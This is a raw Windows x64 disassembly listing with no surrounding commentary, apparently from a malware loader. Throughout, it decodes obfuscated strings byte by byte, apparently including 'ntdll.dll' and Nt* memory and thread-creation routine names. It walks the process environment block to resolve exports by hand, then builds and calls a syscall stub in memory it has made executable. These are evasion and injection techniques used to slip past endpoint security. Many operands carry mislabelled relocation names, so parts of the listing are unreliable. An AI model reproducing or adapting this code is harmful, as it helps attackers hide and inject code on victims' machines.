mov byte [rbp + 0x7a8], al
mov r9, r13
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7a9], al
mov r9, r13
mov r8d, 9
mov dl, 0x65
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7aa], al
mov r9, r13
mov r8d, 0xa
mov dl, 0x56
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7ab], al
mov r9, r13
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7ac], al
mov r9, r13
mov r8d, ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7ad], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_listen
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7ae], al
mov r9, r13
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7af], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x61
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7b0], al
mov r9, r13
mov r8, r15
mov dl, 0x6c
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7b1], al
mov r9, r13
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7b2], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7b3], al
mov r9, r13
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7b4], al
mov r9, r13
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7b5], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_setsockopt
mov dl, WSAStartup
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7b6], al
mov r9, r13
mov r8d, reloc.WLDAP32.dll_Ordinal_22
mov dl, 0x79
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7b7], al
xor eax, eax
mov byte [rbp + 0x7b8], al
mov edi, eax
lea r15d, [rax + 1]
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7a1]
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + rdi + 0x7a1], al
add rdi, r15
cmp rdi, r13
jb 0x14003159f
xor edi, edi
mov byte [rbp + 0x7b8], dil
mov byte [rbp + 0xd0], r14b
lea r15d, [rdi + 9]
mov r9d, r15d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xd0]
call fcn.140037108
mov byte [rbp + 0xd1], al
mov r9d, r15d
lea r13d, [rdi + 1]
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xd0]
call fcn.140037108
mov byte [rbp + 0xd2], al
mov r9d, r15d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0xd0]
call fcn.140037108
mov byte [rbp + 0xd3], al
mov r9d, r15d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0xd0]
call fcn.140037108
mov byte [rbp + 0xd4], al
mov r9d, r15d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0xd0]
call fcn.140037108
mov byte [rbp + 0xd5], al
mov r9d, r15d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xd0]
call fcn.140037108
mov byte [rbp + 0xd6], al
mov r9d, r15d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0xd0]
call fcn.140037108
mov byte [rbp + 0xd7], al
mov r9d, r15d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0xd0]
call fcn.140037108
mov byte [rbp + 0xd8], al
mov r9d, r15d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0xd0]
call fcn.140037108
mov byte [rbp + 0xd9], al
xor eax, eax
mov byte [rbp + 0xda], al
lea r15d, [rdi + 0x10]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd1]
lea rcx, [rbp + 0xd0]
call fcn.140037108
mov byte [rbp + rdi + 0xd1], al
add rdi, r13
cmp rdi, 9
jb 0x1400316dc
xor eax, eax
mov byte [rbp + 0xda], al
mov rax, qword gs:[0x60]
test rax, rax
mov r13d, reloc.WS2_32.dll_socket
je 0x140031a77
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rbp - 0x40], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x60], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rbp - 0x40]
test r8d, r8d
jle 0x1400317ac
lea r13d, [rax + 1]
mov r10d, r13d
mov rsi, qword [rsp + 0x68]
mov ecx, r10d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r10d, r13d
add rdx, r13
cmp rdx, r8
jl 0x140031780
mov esi, reloc.WS2_32.dll_sendto
lea r13d, [rsi + 3]
mov dword [rsp + 0x60], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x60]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140031808
mov rax, rcx
lea r9, [rbp + 0xd1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140031801
add rax, r11
test edx, edx
jne 0x1400317ec
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
test dil, dil
jne 0x14003182c
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
cmp rax, qword [rbp - 0x80]
jne 0x140031738
jmp 0x140031a77
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140031a77
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140031a77
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140031a77
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140031a77
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edx, edx
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140031a77
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7a1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400318bc
inc rax
test edi, edi
jne 0x1400318a7
test r8d, r8d
mov r8d, 1
je 0x1400318d5
add rdx, r8
cmp rdx, qword [rbp - 0x70]
jb 0x140031896
jmp 0x140031a7d
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140031a7d
mov eax, dword [rdx + 4]
mov dword [rbp - 0x40], eax
cmp eax, r8d
jl 0x140031a7d
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x50], rax
call fcn.140095f90
or dword [rbp + 0x282b4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x26f30]
call fcn.14003804c
lea rcx, [rbp + 0x26f30]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea r13d, [rax + 1]
lea rcx, [rbp + 0x26f30]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x40550], rax
add rdi, r13
cmp rdi, 0x200
jl 0x140031976
mov r13d, 0x1000
mov r8d, r13d
lea rdx, [rbp + 0x40550]
mov rdi, qword [rbp - 0x50]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rbp - 0x40]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xf2c], eax
lea r9, [rbp + 0xf2c]
mov r8d, r14d
mov edx, r13d
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0xf98]
xor r8d, r8d
lea rdx, [rbp + 0xdb8]
mov rcx, qword [rbp - 0x30]
call rdi
mov edi, eax
lea r9, [rbp + 0xf2c]
mov r8d, dword [rbp + 0xf2c]
mov edx, r13d
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r13d
xor edx, edx
mov rcx, qword [rbp - 0x50]
call fcn.1400bdea0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400f1364], eax
test edi, edi
lea r13d, [rax + 0x17]
js 0x140031a91
mov r8d, 1
mov rax, qword [rbp + 0xdb8]
mov qword [rbp - 0x78], rax
test rax, rax
jne 0x140032082
mov word [rbp + 0x378], 0x4e1d
mov r9, rbx
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x378]
call fcn.1400371f8
mov byte [rbp + 0x37a], al
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x378]
call fcn.1400371f8
mov byte [rbp + 0x37b], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x378]
call fcn.1400371f8
mov byte [rbp + 0x37c], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x378]
call fcn.1400371f8
mov byte [rbp + 0x37d], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x378]
call fcn.1400371f8
mov byte [rbp + 0x37e], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x378]
call fcn.1400371f8
mov byte [rbp + 0x37f], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x378]
call fcn.1400371f8
mov byte [rbp + 0x380], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x378]
call fcn.1400371f8
mov byte [rbp + 0x381], al
mov r9, rbx
mov r8d, 9
mov dl, r14b
lea rcx, [rbp + 0x378]
call fcn.1400371f8
mov byte [rbp + 0x382], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x378]
call fcn.1400371f8
mov byte [rbp + 0x383], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x378]
call fcn.1400371f8
mov byte [rbp + 0x384], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x378]
call fcn.1400371f8
mov byte [rbp + 0x385], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x378]
call fcn.1400371f8
mov byte [rbp + 0x386], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x378]
call fcn.1400371f8
mov byte [rbp + 0x387], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x378]
call fcn.1400371f8
mov byte [rbp + 0x388], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x378]
call fcn.1400371f8
mov byte [rbp + 0x389], al
xor eax, eax
mov byte [rbp + 0x38a], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x378]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x378]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x379], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x140031c87
xor r10d, r10d
mov byte [rbp + 0x38a], r10b
mov word [rbp + 0x848], 0x629
lea edi, [r10 + 0x1b]
mov r9d, edi
mov r8, r11
mov dl, 0x61
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x84a], al
mov r9d, edi
lea r8d, [rdi - 0x19]
mov dl, 0x69
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x84b], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x6c
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x84c], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x65
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x84d], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, 0x64
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x84e], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, r14b
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x84f], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x850], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x851], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, r14b
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x852], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x50
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x853], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, WSAStartup
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x854], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x855], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x856], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x61
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x857], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, WSAStartup
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x858], al
mov r9d, edi
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x859], al
mov r9d, edi
mov r8, rbx
mov dl, r14b
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x85a], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x49
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x85b], al
mov r9d, edi
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x85c], al
mov r9d, edi
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x85d], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x67
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x85e], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x65
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x85f], al
mov r9d, edi
mov r8, r13
mov dl, r14b
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x860], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x30
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x861], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x78
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x862], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x33
lea rcx, [rbp + 0x848]
call fcn.140038608
mov byte [rbp + 0x863], al
xor eax, eax
mov byte [rbp + 0x864], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x1a]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x848]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1b]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x848]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x849], dil
add r8, rbx
add r9, 0x1b
cmp r9, 0x2f4
jb 0x140031fe9
mov byte [rbp + 0x864], r10b
xor r9d, r9d
lea r8, [rbp + 0x379]
lea rdx, [rbp + 0x849]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009cf48
int3
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x28]
mov rcx, qword [rbp + 0xeb0]
add rax, rcx
mov dword [0x1400f1339], r8d
mov rdx, qword [rbp - 0x58]
mov qword [0x1400f133f], rdx
mov qword [0x1400f1349], rcx
mov qword [0x1400f1353], rax
mov rax, qword [rbp + 0xd70]
mov qword [rbp - 0x30], rax
mov word [rbp + 0x678], 0xfd07
mov r9, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x678]
call fcn.140037880
mov byte [rbp + 0x67a], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x678]
call fcn.140037880
mov byte [rbp + 0x67b], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x678]
call fcn.140037880
mov byte [rbp + 0x67c], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x678]
call fcn.140037880
mov byte [rbp + 0x67d], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x678]
call fcn.140037880
mov byte [rbp + 0x67e], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x678]
call fcn.140037880
mov byte [rbp + 0x67f], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x678]
call fcn.140037880
mov byte [rbp + 0x680], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x678]
call fcn.140037880
mov byte [rbp + 0x681], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x678]
call fcn.140037880
mov byte [rbp + 0x682], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x678]
call fcn.140037880
mov byte [rbp + 0x683], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x678]
call fcn.140037880
mov byte [rbp + 0x684], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x678]
call fcn.140037880
mov byte [rbp + 0x685], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x678]
call fcn.140037880
mov byte [rbp + 0x686], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x678]
call fcn.140037880
mov byte [rbp + 0x687], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x678]
call fcn.140037880
mov byte [rbp + 0x688], al
mov r9, rsi
mov r8, r15
mov dl, 0x6d
lea rcx, [rbp + 0x678]
call fcn.140037880
mov byte [rbp + 0x689], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x678]
call fcn.140037880
mov byte [rbp + 0x68a], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x678]
call fcn.140037880
mov byte [rbp + 0x68b], al
mov r9, rsi
mov r8, r12
mov dl, 0x79
lea rcx, [rbp + 0x678]
call fcn.140037880
mov byte [rbp + 0x68c], al
xor eax, eax
mov byte [rbp + 0x68d], al
mov r8d, eax
mov r9, rsi
lea r15d, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x678]
add eax, r15d
movsxd rdi, eax
lea rax, [r8 + 0x14]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x678]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x679], dil
add r8, r15
add r9, rsi
cmp r9, 0x1a4
jb 0x1400322fb
xor edi, edi
mov byte [rbp + 0x68d], dil
mov word [rbp + 0xe0], 0xeb6d
lea r14d, [rdi + 9]
mov r9d, r14d
mov r8, r15
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xe0]
call fcn.140037108
mov byte [rbp + 0xe2], al
mov r9d, r14d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0xe0]
call fcn.140037108
mov byte [rbp + 0xe3], al
mov r9d, r14d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0xe0]
call fcn.140037108
mov byte [rbp + 0xe4], al
mov r9d, r14d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0xe0]
call fcn.140037108
mov byte [rbp + 0xe5], al
mov r9d, r14d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xe0]
call fcn.140037108
mov byte [rbp + 0xe6], al
mov r9d, r14d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0xe0]
call fcn.140037108
mov byte [rbp + 0xe7], al
mov r9d, r14d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0xe0]
call fcn.140037108
mov byte [rbp + 0xe8], al
mov r9d, r14d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0xe0]
call fcn.140037108
mov byte [rbp + 0xe9], al
xor eax, eax
mov byte [rbp + 0xea], al
mov r8d, edi
mov r9d, r14d
lea r15d, [rdi + 0x10]
lea r14d, [rdi + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xe0]
add eax, r14d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xe0]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xe1], dil
add r8, r14
add r9, 9
cmp r9, 0x5a
jb 0x140032479
xor eax, eax
mov byte [rbp + 0xea], al
mov rax, qword gs:[0x60]
test rax, rax
mov r14d, reloc.WLDAP32.dll_Ordinal_32
je 0x140032610
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x58], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rbp - 0x40], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x60], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rbp - 0x40]
test r8d, r8d
jle 0x14003258f
lea esi, [rax + 1]
mov r10d, esi
mov r13, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x14003255f
mov esi, reloc.WS2_32.dll_sendto
lea r13d, [rsi + 3]
mov dword [rsp + 0x60], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x60]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x1400325eb
mov rax, rcx
lea r9, [rbp + 0xe1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x1400325e4
add rax, r11
test edx, edx
jne 0x1400325cf
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
xor eax, eax
test dil, dil
jne 0x140032aef
mov rax, qword [rbp - 0x58]
mov rax, qword [rax]
mov qword [rbp - 0x58], rax
cmp rax, qword [rbp - 0x80]
jne 0x140032518
xor eax, eax
mov edi, 1
mov qword [rbp + 0xda8], rax
mov rax, qword [rbp + 0xd70]
mov qword [rbp - 0x30], rax
mov word [rbp + 0x7e0], 0xa63b
mov byte [rbp + 0x7e2], 0x54
mov r9, r15
mov r8d, 2
mov dl, 0x43
lea rcx, [rbp + 0x7e0]
call fcn.140037180
mov byte [rbp + 0x7e3], al
mov r9, r15
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x7e0]
call fcn.140037180
mov byte [rbp + 0x7e4], al
mov r9, r15
mov r8d, 4
mov dl, 0x65
lea rcx, [rbp + 0x7e0]
call fcn.140037180
mov byte [rbp + 0x7e5], al
mov r9, r15
mov r8d, 5
mov dl, 0x61
lea rcx, [rbp + 0x7e0]
call fcn.140037180
mov byte [rbp + 0x7e6], al
mov r9, r15
mov r8d, 6
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7e0]
call fcn.140037180
mov byte [rbp + 0x7e7], al
mov r9, r15
mov r8d, 7
mov dl, 0x65
lea rcx, [rbp + 0x7e0]
call fcn.140037180
mov byte [rbp + 0x7e8], al
mov r9, r15
mov r8d, 8
mov dl, 0x54
lea rcx, [rbp + 0x7e0]
call fcn.140037180
mov byte [rbp + 0x7e9], al
mov r9, r15
mov r8d, 9
mov dl, 0x68
lea rcx, [rbp + 0x7e0]
call fcn.140037180
mov byte [rbp + 0x7ea], al
mov r9, r15
mov r8d, 0xa
mov dl, WSAStartup
lea rcx, [rbp + 0x7e0]
call fcn.140037180
mov byte [rbp + 0x7eb], al
mov r9, r15
mov r8d, ntohs
mov dl, 0x65
lea rcx, [rbp + 0x7e0]
call fcn.140037180
mov byte [rbp + 0x7ec], al
mov r9, r15
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x7e0]
call fcn.140037180
mov byte [rbp + 0x7ed], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x64
lea rcx, [rbp + 0x7e0]
call fcn.140037180
mov byte [rbp + 0x7ee], al
mov r9, r15
mov r8d, select
mov dl, 0x45
lea rcx, [rbp + 0x7e0]
call fcn.140037180
mov byte [rbp + 0x7ef], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x78
lea rcx, [rbp + 0x7e0]
call fcn.140037180
mov byte [rbp + 0x7f0], al
xor eax, eax
mov byte [rbp + 0x7f1], al
mov r8d, eax
mov r9, r15
movabs r10, 0x8080808080808081
